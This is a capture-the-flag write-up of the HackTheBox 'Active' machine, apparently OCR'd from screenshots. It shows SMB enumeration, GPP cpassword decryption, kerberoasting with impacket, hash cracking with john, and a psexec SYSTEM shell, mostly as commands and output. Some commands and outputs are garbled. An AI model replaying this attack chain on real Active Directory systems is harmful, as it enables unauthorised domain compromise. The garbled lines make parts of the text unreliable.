ACTIVE

HACKTHEBOX - ACTIVE - 10.10.10.100

```
STATE SERVICE
53/tcp
       open domain
                            Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
 dns-nsid:
  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp
        open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-02 23:04:19Z)
135/tcp open msrpc
                            Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
                            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
                            Microsoft Windows RPC over HTTP 1.0
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap
                            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc
                            Microsoft Windows RPC
9389/tcp open mc-nmf
                            .NET Message Framing
                            Microsoft Windows RPC
49152/tcp open msrpc
                           Microsoft Windows RPC
49153/tcp open msrpc
49154/tcp open msrpc
                          Microsoft Windows RPC
                      Microsoft Windows RPC
49155/tcp open msrpc
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc
                            Microsoft Windows RPC
49169/tcp open msrpc
                           Microsoft Windows RPC
49171/tcp open msrpc
                            Microsoft Windows RPC
49182/tcp open msrpc
                            Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
 _clock-skew: 4m02s
 smb2-security-mode:
   2.02:
     Message signing enabled and required
 smb2-time:
   date: 2021-02-02T23:05:14
   start_date: 2021-02-02T22:42:55
```

Since Net-BIOS is enabled, we should be able to enumerate SMB shares without authentication:

```
-(user⊕boy)-[~/BOXES/htb/boxes/active]
 -$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445
                                Name: active.htb
        Disk
                                                                 Permissions
                                                                                 Comment
        ADMIN$
                                                                 NO ACCESS
                                                                                 Remote Admin
        C$
                                                                 NO ACCESS
                                                                                 Default share
        IPC$
                                                                                 Remote IPC
                                                                 NO ACCESS
        NETLOGON
                                                                 NO ACCESS
                                                                                 Logon server share
        Replication
                                                                 READ ONLY
        SYSVOL
                                                                 NO ACCESS
                                                                                 Logon server share
        Users
                                                                 NO ACCESS
```

I was able to get SMB login without credentials as well, and got a Groups.xml file:

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> mget Groups.xml
nmap/ words.txt
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> mget Groups.xml
Get file Groups.xml? yes
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups\Groups.xml
Groups.xml (6.4 KiloBytes/sec) (average 6.4 KiloBytes/sec)
```

```
(user@ boy)-[~/BOXES/htb/boxes/active]
$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName=""fullName=""description="cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</forups>
```

User: SVC TGS

Pass: edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NgIVmQ

The password is most likely some kind of encryption. After googling **Groups.xml file**, I found this article: (https://ethicalhackingguru.com/how-to-exploit-groups-xml-files/)

Which suggests a tool called gpp-decrypt to decrypt the cpassword.

(user@boy)-[~/BOXES/htb/boxes/active]
\$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

User: SVC_TGS

Pass: GPPstillStandingStrong2k18

And using crackmapexec to check what shares I have access to:

```
-(user⊕boy)-[~/BOXES/htb/boxes/active]
  💲 crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 --shares
SMB
                                                       Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb)
                             445
            10.10.10.100
                                    DC
) (SMBv1:False)
            10.10.10.100
                             445
                                    DC
                                                       [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
            10.10.10.100
                             445
                                    DC
                                                      [+] Enumerated shares
            10.10.10.100
                             445
                                    DC
                                                                       Permissions
                                                                                        Remark
                                                      Share
            10.10.10.100
                             445
                                    DC
                                                       ADMIN$
                                                                                        Remote Admin
                             445
            10.10.10.100
                                    DC
                                                                                        Default share
            10.10.10.100
                             445
                                    DC
            10.10.10.100
                             445
                                    DC
                                                                                        Remote IPC
            10.10.10.100
                             445
                                    DC
                                                       NETLOGON
                                                                       READ
                                                                                        Logon server share
            10.10.10.100
                             445
                                    DC
                                                       Replication
                                                                       READ
            10.10.10.100
                             445
                                    DC
                                                                        READ
                                                                                        Logon server share
            10.10.10.100
                             445
                                    DC
```

Now I can login to the Users share:

```
(user® boy)-[~/BOXES/htb/boxes/active]
 $ smbclient -U SVC_TGS \\\10.10.10.100\\Users
Enter WORKGROUP\SVC_TGS's password:
Try "help" to get a list of possible commands.
smb: \> ls
                                      DR
                                                    Sat Jul 21 10:39:20 2018
                                      DR
                                                    Sat Jul 21 10:39:20 2018
                                                 0
  Administrator
                                       D
                                                    Mon Jul 16 06:14:21 2018
  All Users
                                   DHSrn
                                                 0
                                                    Tue Jul 14 01:06:44 2009
  Default
                                     DHR
                                                 0
                                                    Tue Jul 14 02:38:21 2009
  Default User
                                   DHSrn
                                                    Tue Jul 14 01:06:44 2009
  desktop.ini
                                     AHS
                                               174
                                                    Tue Jul 14 00:57:55 2009
  Public
                                      DR
                                                 0
                                                    Tue Jul 14 00:57:55 2009
  SVC_TGS
                                       D
                                                 0
                                                    Sat Jul 21 11:16:32 2018
                10459647 blocks of size 4096. 5724554 blocks available
```

And get the user flag:

And since kerberos is running on port 88, I decided to try kerberoasting with the credentials:

(user⊕boy)-[~/BOX \$ impacket-GetUserS Impacket v0.9.22 - Co		tive] tive.htb/SVC_TGS -dc-ip 10.10.10.100 -outputfile hashcat cureAuth Corporation		
Password:				
ServicePrincipalName tLogon	Name Delegation	MemberOf	PasswordLastSet	Las
			TO ALL THE STATE OF THE STATE O	
active/CIFS:445 1-01-21 11:07:03.7237		CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 15:06:40.351723	202
01afc29ed7f24674fc1550 912579931094c4cee806011 e2f45063b36a00b06320edd				

Got the Administrator hash!

Had to use john-the-ripper, because hashcat was acting up:

john-the-ripper --wordlist=/home/user/Documents/wordlists/rockyou.txt active.txt

Using default inputsencoding: OUTF-8cff29dd2ed3323c2c1477cd0c87502bc8b9b9d853d73c8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Ticketmaster1968 (?)

User: Administrator Pass: Ticketmaster1968

Now it's time for psexec:

```
-(user@boy)-[~/BOXES/htb/boxes/active]
 _$ impacket-psexec administrator@10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.100....
[*] Found writable share ADMIN$
[*] Uploading file ACDrPapY.exe
[*] Opening SVCManager on 10.10.10.100..... Brute Force
[*] Creating service Vteb on 10.10.10.100.....
[*] Starting service Vteb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami & hostname
nt authority\system thodology
DC
C:\Windows\system32>
```

LOL

And the root hash is here:

BABA BOOEY